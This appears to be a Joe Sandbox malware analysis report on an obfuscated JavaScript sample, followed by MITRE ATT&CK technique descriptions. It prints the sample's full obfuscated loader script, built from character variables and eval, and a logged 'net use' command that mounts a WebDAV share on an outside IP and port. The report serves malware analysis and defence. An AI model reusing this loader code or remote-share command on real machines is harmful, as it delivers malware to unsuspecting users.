Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:42:26
Start date:	18/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.231@8888\davwwwroot\
Imagebase:	0x7ff679eb0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vjcuinvfp() {	vjcuinvfp() ➔ undefined
1	this[rbktsrbhk + fnucaons + qozwbvlw + vwgmjzlo] ( iwedatboe + ygzoksh + bdtedewrq + zbgfuja + hbmpxagw + gsmbtvq + lchfe + iwedatboe + smxtnv + kjisgyz + smxtnv + edsnt + odjkdymh + fnucaons + qjgmfvcu + lpjlp + qwdhxlhsg + qwdhxlhsg + nupmhi + edsnt + vwgmjzlo + zxfxct + sbszjfzf + winfhg + dbdluvxxn + dbdluvxxn + pfhej + edsnt + lpjlp + zbgfuja + jyxuzotq + qrlqb + iwedatboe + fnucaons + igispruv + edsnt + qrlqb + qjgmfvcu + iwedatboe + rbktsrbhk + qjgmfvcu + rbktsrbhk + pfhej + gsmbtvq + igispruv + edsnt + qjgmfvcu + qrlqb + qjgmfvcu + vwgmjzlo + qwdhxlhsg + fnucaons + smxtnv + smxtnv + odjkdymh + edsnt + bdtedewrq + pfhej + rbktsrbhk + qjgmfvcu + qozwbvlw + iwedatboe + qrlqb + lchfe + rbktsrbhk + tcpbwcfzj + hbmpxagw + qwdhxlhsg + winfhg + qjgmfvcu + sbszjfzf + jyxuzotq + gsmbtvq + vwgmjzlo + iwedatboe + iwedatboe + edsnt + lpjlp + zbgfuja + jyxuzotq + qrlqb + iwedatboe + fnucaons + igispruv + edsnt + gsmbtvq + qrlqb + zxfxct + iwedatboe + zbgfuja + gsmbtvq + qrlqb + ygzoksh + zxfxct + edsnt + igispruv + lchfe + kjisgyz + pfhej + qrlqb + fnucaons + vwgmjzlo + pfhej + edsnt + bdtedewrq + pfhej + rbktsrbhk + qjgmfvcu + qozwbvlw + iwedatboe + qrlqb + lchfe + rbktsrbhk + edsnt + gsmbtvq + qrlqb + zxfxct + iwedatboe + zbgfuja + gsmbtvq + qrlqb + ygzoksh + zxfxct + edsnt + bdtedewrq + zbgfuja + rbktsrbhk + iwedatboe + qozwbvlw + bdtedewrq + edsnt + igispruv + gsmbtvq + vwgmjzlo + igispruv + qrlqb + edsnt + odjkdymh + qwdhxlhsg + dbdluvxxn + jyxuzotq + ygzoksh + bdtedewrq + edsnt + gsmbtvq + qrlqb + zxfxct + iwedatboe + zbgfuja + gsmbtvq + qrlqb + ygzoksh + zxfxct + edsnt + vwgmjzlo + zxfxct + sbszjfzf + winfhg + dbdluvxxn + dbdluvxxn + pfhej + edsnt + bdtedewrq + pfhej + rbktsrbhk + qjgmfvcu + qozwbvlw + iwedatboe + qrlqb + lchfe + rbktsrbhk + tcpbwcfzj + lqsfs + gsmbtvq + lchfe + iwedatboe + smxtnv + kjisgyz + smxtnv + edsnt + odjkdymh + fnucaons + qjgmfvcu + lpjlp + qwdhxlhsg + qwdhxlhsg + nupmhi + edsnt + vwgmjzlo + zxfxct + sbszjfzf + winfhg + dbdluvxxn + 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fnucaons + vwgmjzlo + pfhej + edsnt + winfhg + odjkdymh + qwdhxlhsg + lkyfppw + qozwbvlw + lchfe + odjkdymh + zbgfuja + edsnt + dbdluvxxn + winfhg + ygzoksh + rbktsrbhk + nupmhi + edsnt + dbdluvxxn + winfhg + ygzoksh + rbktsrbhk + nupmhi + edsnt + dbdluvxxn + winfhg + ygzoksh + rbktsrbhk + nupmhi + edsnt + lpjlp + zbgfuja + jyxuzotq + qrlqb + iwedatboe + fnucaons + igispruv + edsnt + vwgmjzlo + lkyfppw + ygzoksh + winfhg + rbktsrbhk + edsnt + vwgmjzlo + lkyfppw + ygzoksh + winfhg + rbktsrbhk + edsnt + bdtedewrq + pfhej + rbktsrbhk + qjgmfvcu + qozwbvlw + iwedatboe + qrlqb + lchfe + rbktsrbhk + edsnt + igispruv + sbszjfzf + ygzoksh + dbdluvxxn + sbszjfzf + vwgmjzlo + fnucaons + smxtnv + zbgfuja + edsnt + jyxuzotq + zbgfuja + sbszjfzf + dbdluvxxn + kjisgyz + gsmbtvq + dbdluvxxn + fnucaons + edsnt + jyxuzotq + zbgfuja + sbszjfzf + dbdluvxxn + kjisgyz + gsmbtvq + dbdluvxxn + fnucaons + edsnt + vwgmjzlo + zxfxct + sbszjfzf + winfhg + dbdluvxxn + dbdluvxxn + pfhej + edsnt + nupmhi + sbszjfzf + smxtnv + qwdhxlhsg + kjisgyz + lchfe + iwedatboe + igispruv + edsnt + igispruv + nupmhi + lpjlp + jyxuzotq + winfhg + fnucaons + lkyfppw + qwdhxlhsg + edsnt + fnucaons + ygzoksh + lpjlp + gsmbtvq + vwgmjzlo + qrlqb + jyxuzotq + lkyfppw + fnucaons + edsnt + qrlqb + lpjlp + smxtnv + dbdluvxxn + bdtedewrq + qjgmfvcu + qwdhxlhsg + lpjlp + edsnt + vwgmjzlo + zxfxct + sbszjfzf + winfhg + dbdluvxxn + dbdluvxxn + pfhej + edsnt + fnucaons + ygzoksh + lpjlp + gsmbtvq + vwgmjzlo + qrlqb + jyxuzotq + lkyfppw + fnucaons + edsnt + lpjlp + zbgfuja + jyxuzotq + qrlqb + iwedatboe + fnucaons + igispruv + edsnt + gsmbtvq + qrlqb + zxfxct + iwedatboe + zbgfuja + gsmbtvq + qrlqb + ygzoksh + zxfxct + edsnt + vwgmjzlo + dbdluvxxn + nupmhi + vwgmjzlo + dbdluvxxn + edsnt + kjisgyz + qrlqb + lpjlp + winfhg + qwdhxlhsg + nupmhi + qozwbvlw + edsnt + winfhg + odjkdymh + qwdhxlhsg + lkyfppw + qozwbvlw + lchfe + odjkdymh + zbgfuja + edsnt + lpjlp + zbgfuja + jyxuzotq + qrlqb + iwedatboe + fnucaons + igispruv + edsnt + bdtedewrq + gsmbtvq + ygzoksh + qrlqb + smxtnv + dbdluvxxn + zbgfuja + edsnt + rbktsrbhk + bdtedewrq + jyxuzotq + nupmhi + jyxuzotq + fnucaons + winfhg + nupmhi + smxtnv + edsnt + fnucaons + ygzoksh + lpjlp + gsmbtvq + vwgmjzlo + qrlqb + jyxuzotq + lkyfppw + fnucaons + edsnt + qrlqb + lpjlp + smxtnv + dbdluvxxn + bdtedewrq + qjgmfvcu + qwdhxlhsg + lpjlp + edsnt + kjisgyz + qrlqb + lpjlp + winfhg + qwdhxlhsg + nupmhi + qozwbvlw + edsnt + fnucaons + ygzoksh + lpjlp + gsmbtvq + vwgmjzlo + qrlqb + jyxuzotq + lkyfppw + fnucaons + edsnt + igispruv + sbszjfzf + ygzoksh + dbdluvxxn + sbszjfzf + vwgmjzlo + fnucaons + smxtnv + zbgfuja + edsnt + igispruv + sbszjfzf + ygzoksh + dbdluvxxn + sbszjfzf + vwgmjzlo + fnucaons + smxtnv + zbgfuja + edsnt + igispruv + vwgmjzlo + gsmbtvq + fnucaons + lchfe + vwgmjzlo + rbktsrbhk + zbgfuja + edsnt + zbgfuja + zxfxct + zxfxct + odjkdymh + zxfxct + qjgmfvcu + winfhg + edsnt + bdtedewrq + gsmbtvq + ygzoksh + qrlqb + smxtnv + dbdluvxxn + zbgfuja + edsnt + smxtnv + lpjlp + lchfe + lkyfppw + jyxuzotq + edsnt + igispruv + vwgmjzlo + gsmbtvq + fnucaons + lchfe + vwgmjzlo + rbktsrbhk + zbgfuja + edsnt + lpjlp + dbdluvxxn + winfhg + rbktsrbhk + jyxuzotq + sbszjfzf + edsnt + bdtedewrq + gsmbtvq + ygzoksh + qrlqb + smxtnv + dbdluvxxn + zbgfuja + edsnt + smxtnv + lpjlp + lchfe + lkyfppw + jyxuzotq + edsnt + igispruv + vwgmjzlo + gsmbtvq + fnucaons + lchfe + vwgmjzlo + rbktsrbhk + zbgfuja + edsnt + smxtnv + lpjlp + lchfe + lkyfppw + jyxuzotq + edsnt + rbktsrbhk + bdtedewrq + jyxuzotq + nupmhi + jyxuzotq + fnucaons + winfhg + nupmhi + smxtnv + edsnt + bdtedewrq + gsmbtvq + ygzoksh + qrlqb + smxtnv + dbdluvxxn + zbgfuja + edsnt + igispruv + vwgmjzlo + gsmbtvq + fnucaons + lchfe + vwgmjzlo + rbktsrbhk + zbgfuja + edsnt + winfhg + kjisgyz + vwgmjzlo + qjgmfvcu + iwedatboe + winfhg + ygzoksh + rbktsrbhk + igispruv + edsnt + lpjlp + fnucaons + ygzoksh + jyxuzotq + lchfe + lpjlp + edsnt + lpjlp + fnucaons + ygzoksh + jyxuzotq + lchfe + lpjlp + edsnt + lpjlp + fnucaons + ygzoksh + jyxuzotq + lchfe + lpjlp + edsnt + lpjlp + fnucaons + ygzoksh + jyxuzotq + lchfe + lpjlp + edsnt + igispruv + sbszjfzf + ygzoksh + dbdluvxxn + sbszjfzf + vwgmjzlo + fnucaons + smxtnv + zbgfuja + edsnt + igispruv + nupmhi + lpjlp + jyxuzotq + winfhg + fnucaons + lkyfppw + qwdhxlhsg + edsnt + igispruv + lchfe + kjisgyz + pfhej + qrlqb + fnucaons + vwgmjzlo + pfhej + edsnt + winfhg + odjkdymh + qwdhxlhsg + lkyfppw + qozwbvlw + lchfe + odjkdymh + zbgfuja + edsnt + dbdluvxxn + winfhg + ygzoksh + rbktsrbhk + nupmhi + edsnt + dbdluvxxn + winfhg + ygzoksh + rbktsrbhk + nupmhi + edsnt + dbdluvxxn + winfhg + ygzoksh + rbktsrbhk + nupmhi + edsnt + lpjlp + zbgfuja + jyxuzotq + qrlqb + iwedatboe + fnucaons + igispruv + edsnt + vwgmjzlo + lkyfppw + ygzoksh + winfhg + rbktsrbhk + edsnt + vwgmjzlo + lkyfppw + ygzoksh + winfhg + rbktsrbhk + edsnt + bdtedewrq + pfhej + rbktsrbhk + qjgmfvcu + qozwbvlw + iwedatboe + qrlqb + lchfe + rbktsrbhk + edsnt + igispruv + sbszjfzf + ygzoksh + dbdluvxxn + sbszjfzf + vwgmjzlo + fnucaons + smxtnv + zbgfuja + edsnt + rbktsrbhk + bdtedewrq + jyxuzotq + nupmhi + jyxuzotq + fnucaons + winfhg + nupmhi + smxtnv + edsnt + rbktsrbhk + bdtedewrq + jyxuzotq + nupmhi + jyxuzotq + fnucaons + winfhg + nupmhi + smxtnv + edsnt + rbktsrbhk + bdtedewrq + jyxuzotq + nupmhi + jyxuzotq + fnucaons + winfhg + nupmhi + smxtnv + edsnt + zxfxct + igispruv + smxtnv + zbgfuja + gsmbtvq + igispruv + qozwbvlw + lpjlp + edsnt + lpjlp + dbdluvxxn + winfhg + rbktsrbhk + jyxuzotq + sbszjfzf + edsnt + rbktsrbhk + bdtedewrq + jyxuzotq + nupmhi + jyxuzotq + fnucaons + winfhg + nupmhi + smxtnv + edsnt + qozwbvlw + zxfxct + kjisgyz + gsmbtvq + smxtnv + edsnt + bdtedewrq + gsmbtvq + ygzoksh + qrlqb + smxtnv + dbdluvxxn + zbgfuja + edsnt + zxfxct + igispruv + smxtnv + zbgfuja + gsmbtvq + igispruv + qozwbvlw + lpjlp + edsnt + lpjlp + fnucaons + ygzoksh + jyxuzotq + lchfe + lpjlp + edsnt + rbktsrbhk + bdtedewrq + jyxuzotq + nupmhi + jyxuzotq + fnucaons + winfhg + nupmhi + smxtnv + edsnt + igispruv + vwgmjzlo + gsmbtvq + fnucaons + lchfe + vwgmjzlo + rbktsrbhk + zbgfuja + edsnt + lpjlp + dbdluvxxn + winfhg + rbktsrbhk + jyxuzotq + sbszjfzf + edsnt + igispruv + vwgmjzlo + gsmbtvq + fnucaons + lchfe + vwgmjzlo + rbktsrbhk + zbgfuja + edsnt + pfhej + lkyfppw + smxtnv + fnucaons + zxfxct + edsnt + smxtnv + lpjlp + lchfe + lkyfppw + jyxuzotq + edsnt + igispruv + nupmhi + lpjlp + jyxuzotq + winfhg + fnucaons + lkyfppw + qwdhxlhsg + edsnt + fnucaons + pfhej + lpjlp + jyxuzotq + nupmhi + kjisgyz + vwgmjzlo + lchfe + edsnt + fnucaons + pfhej + lpjlp + jyxuzotq + nupmhi + kjisgyz + vwgmjzlo + lchfe + oznheyuo + wcxvk + oznheyuo + winfhg + qozwbvlw + vwgmjzlo + zbgfuja + rbktsrbhk + pxdyztl + stowjsos );	eval("this[rotxzx+nvdguuj+lkyfppw+gsmbtvq+bdtedewrq+dbdluvxxn+iwedatboe][ufdymrltt+gsmbtvq+rbktsrbhk+qozwbvlw+iwedatboe+rbktsrbhk+isetai+qrlqb+nupmhi+rbktsrbhk+lkyfppw+iwedatboe](rotxzx+nvdguuj+lkyfppw+gsmbtvq+bdtedewrq+dbdluvxxn+iwedatboe+xgocm+nvdguuj+ygzoksh+rbktsrbhk+vwgmjzlo+vwgmjzlo)[gsmbtvq+qwdhxlhsg+odjkdymh](lkyfppw+jyxuzotq+qjgmfvcu+vhgrlbmcv+bgxpidug+lkyfppw+vhgrlbmcv+lkyfppw+jyxuzotq+qjgmfvcu+vhgrlbmcv+bgxpidug+lkyfppw+vhgrlbmcv+odjkdymh+rbktsrbhk+iwedatboe+vhgrlbmcv+qwdhxlhsg+zbgfuja+rbktsrbhk+vhgrlbmcv+qyhpylvxs+qyhpylvxs+qlrvoles+skknkdf+irhbxps+xgocm+qlrvoles+gpfemy+irhbxps+xgocm+qlrvoles+xgocm+eimjmvfjx+irhbxps+qlrvoles+fzldtfheq+gvhmog+gvhmog+gvhmog+gvhmog+qyhpylvxs+qjgmfvcu+qozwbvlw+fnucaons+pfhej+pfhej+pfhej+gsmbtvq+lchfe+lchfe+iwedatboe+qyhpylvxs+msypzrpv+msypzrpv+lkyfppw+jyxuzotq+qjgmfvcu+vhgrlbmcv+bgxpidug+lkyfppw+vhgrlbmcv+gsmbtvq+rbktsrbhk+lpjlp+zbgfuja+fnucaons+gsmbtvq+irhbxps+eimjmvfjx+vhgrlbmcv+bgxpidug+zbgfuja+vhgrlbmcv+qyhpylvxs+qyhpylvxs+qlrvoles+skknkdf+irhbxps+xgocm+qlrvoles+gpfemy+irhbxps+xgocm+qlrvoles+xgocm+eimjmvfjx+irhbxps+qlrvoles+fzldtfheq+gvhmog+gvhmog+gvhmog+gvhmog+qyhpylvxs+qjgmfvcu+qozwbvlw+fnucaons+pfhej+pfhej+pfhej+gsmbtvq+lchfe+lchfe+iwedatboe+qyhpylvxs+eimjmvfjx+eimjmvfjx+eimjmvfjx+kqxsrqag+gpfemy+eimjmvfjx+akzrx+irhbxps+kqxsrqag+gvhmog+eimjmvfjx+qlrvoles+gpfemy+qlrvoles+wcxvk+xgocm+qjgmfvcu+vwgmjzlo+vwgmjzlo,0,false);") ➔ 0
2	}
3	wcxvk = "g";
4	wcxvk = "I";
5	wcxvk = "0";
6	nupmhi = "v";
7	nupmhi = "O";
8	nupmhi = "A";
9	nupmhi = "j";
10	kqxsrqag = "T";
11	kqxsrqag = "R";
12	kqxsrqag = "u";
13	kqxsrqag = "k";
14	kqxsrqag = "6";
15	msypzrpv = "E";
16	msypzrpv = "d";
17	msypzrpv = "Q";
18	msypzrpv = "&";
19	bdtedewrq = "N";
20	bdtedewrq = "i";
21	lkyfppw = "H";
22	lkyfppw = "l";
23	lkyfppw = "i";
24	lkyfppw = "c";
25	xgocm = "N";
26	xgocm = ".";
27	hbmpxagw = "Z";
28	hbmpxagw = "[";
29	eimjmvfjx = "2";
30	gsmbtvq = "x";
31	gsmbtvq = "G";
32	gsmbtvq = "r";
33	rotxzx = "N";
34	rotxzx = "B";
35	rotxzx = "n";
36	rotxzx = "V";
37	rotxzx = "W";
38	fzldtfheq = "h";
39	fzldtfheq = "@";
40	oznheyuo = "F";
41	oznheyuo = "B";
42	oznheyuo = "z";
43	oznheyuo = "z";
44	oznheyuo = ",";
45	smxtnv = "q";
46	smxtnv = "G";
47	smxtnv = "H";
48	smxtnv = "v";
49	smxtnv = "x";
50	bgxpidug = "v";
51	bgxpidug = "V";
52	bgxpidug = "X";
53	bgxpidug = "Z";
54	bgxpidug = "/";
55	gvhmog = "j";
56	gvhmog = "p";
57	gvhmog = "I";
58	gvhmog = "8";
59	qlrvoles = "e";
60	qlrvoles = "Y";
61	qlrvoles = "1";
62	nvdguuj = "t";
63	nvdguuj = "X";
64	nvdguuj = "S";
65	lpjlp = "l";
66	lpjlp = "g";
67	stowjsos = "Q";
68	stowjsos = "p";
69	stowjsos = ";";
70	qyhpylvxs = "x";
71	qyhpylvxs = "s";
72	qyhpylvxs = "F";
73	qyhpylvxs = "\\";
74	pxdyztl = "q";
75	pxdyztl = "O";
76	pxdyztl = "j";
77	pxdyztl = ")";
78	edsnt = "+";
79	fnucaons = "i";
80	fnucaons = "a";
81	fnucaons = "u";
82	fnucaons = "S";
83	fnucaons = "v";
84	lchfe = "B";
85	lchfe = "J";
86	lchfe = "O";
87	lchfe = "o";
88	odjkdymh = "n";
89	rbktsrbhk = "f";
90	rbktsrbhk = "e";
91	irhbxps = "U";
92	irhbxps = "B";
93	irhbxps = "U";
94	irhbxps = "t";
95	irhbxps = "3";
96	gpfemy = "t";
97	gpfemy = "Z";
98	gpfemy = "4";
99	iwedatboe = "t";
100	pfhej = "K";
101	pfhej = "g";
102	pfhej = "J";
103	pfhej = "m";
104	pfhej = "w";
105	jyxuzotq = "S";
106	jyxuzotq = "w";
107	jyxuzotq = "f";
108	jyxuzotq = "T";
109	jyxuzotq = "m";
110	ufdymrltt = "T";
111	ufdymrltt = "C";
112	akzrx = "N";
113	akzrx = "e";
114	akzrx = "D";
115	akzrx = "D";
116	akzrx = "7";
117	vwgmjzlo = "O";
118	vwgmjzlo = "T";
119	vwgmjzlo = "m";
120	vwgmjzlo = "X";
121	vwgmjzlo = "l";
122	isetai = "b";
123	isetai = "a";
124	isetai = "L";
125	isetai = "O";
126	vhgrlbmcv = " ";
127	dbdluvxxn = "p";
128	qwdhxlhsg = "z";
129	qwdhxlhsg = "a";
130	qwdhxlhsg = "w";
131	qwdhxlhsg = "u";
132	zbgfuja = "V";
133	zbgfuja = "v";
134	zbgfuja = "i";
135	zbgfuja = "s";
136	kjisgyz = "z";
137	qozwbvlw = "I";
138	qozwbvlw = "a";
139	sbszjfzf = "q";
140	sbszjfzf = "X";
141	sbszjfzf = "y";
142	lqsfs = "i";
143	lqsfs = "(";
144	qjgmfvcu = "g";
145	qjgmfvcu = "I";
146	qjgmfvcu = "j";
147	qjgmfvcu = "G";
148	qjgmfvcu = "d";
149	qrlqb = "U";
150	qrlqb = "o";
151	qrlqb = "G";
152	qrlqb = "J";
153	qrlqb = "b";
154	zxfxct = "M";
155	zxfxct = "X";
156	zxfxct = "k";
157	winfhg = "f";
158	tcpbwcfzj = "I";
159	tcpbwcfzj = "t";
160	tcpbwcfzj = "C";
161	tcpbwcfzj = "]";
162	ygzoksh = "F";
163	ygzoksh = "R";
164	ygzoksh = "W";
165	ygzoksh = "h";
166	skknkdf = "S";
167	skknkdf = "d";
168	skknkdf = "C";
169	skknkdf = "g";
170	skknkdf = "9";
171	igispruv = "q";
172	vjcuinvfp ( );	vjcuinvfp() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report 2971435162666519472.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

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Behavior

System Behavior

Analysis Process: wscript.exePID: 984, Parent PID: 1028

General

Chronological Activities

Analysis Process: cmd.exePID: 3808, Parent PID: 984

General

Chronological Activities

Analysis Process: conhost.exePID: 4160, Parent PID: 3808

General

Windows Analysis Report
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